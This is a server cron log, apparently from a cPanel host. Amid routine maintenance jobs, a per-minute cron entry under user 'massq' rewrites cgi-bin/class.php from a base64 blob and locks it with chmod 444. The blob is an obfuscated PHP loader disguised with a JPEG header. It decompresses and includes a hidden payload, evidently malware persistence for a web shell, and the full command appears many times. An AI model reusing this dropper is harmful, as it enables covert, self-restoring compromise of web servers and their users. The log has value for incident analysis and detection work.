Aug 31 01:28:01 server CROND[31405]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:28:01 server CROND[31414]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:29:01 server CROND[31772]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:29:01 server CROND[31773]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:29:01 server CROND[31774]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 01:30:01 server CROND[32165]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:30:01 server CROND[32167]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 01:30:01 server CROND[32169]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 01:30:01 server CROND[32172]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 01:30:01 server CROND[32173]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 01:30:01 server CROND[32178]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 01:30:01 server CROND[32177]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:30:01 server CROND[32174]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 01:31:02 server CROND[560]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 01:31:02 server CROND[562]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:31:02 server CROND[561]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:32:01 server CROND[962]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:32:01 server CROND[965]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:32:01 server CROND[964]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 01:33:01 server CROND[1526]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:33:01 server CROND[1528]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 01:33:01 server CROND[1527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:34:01 server CROND[2048]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:34:01 server CROND[2049]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:34:01 server CROND[2050]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 01:35:01 server CROND[2432]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 01:35:01 server CROND[2434]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:35:01 server CROND[2436]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:35:01 server CROND[2437]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 01:35:01 server CROND[2435]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 01:35:01 server CROND[2440]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 01:35:01 server CROND[2439]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 01:35:01 server CROND[2441]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 31 01:35:01 server CROND[2438]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 01:36:01 server CROND[3295]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:36:01 server CROND[3296]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:36:01 server CROND[3297]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 01:37:01 server CROND[3671]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:37:01 server CROND[3670]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:37:01 server CROND[3672]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 01:38:01 server CROND[4134]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 01:38:01 server CROND[4133]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:38:01 server CROND[4135]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:39:01 server CROND[4520]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 01:39:01 server CROND[4521]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:39:01 server CROND[4523]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:39:01 server CROND[4522]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 01:40:01 server CROND[4823]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 01:40:01 server CROND[4824]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 01:40:01 server CROND[4827]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
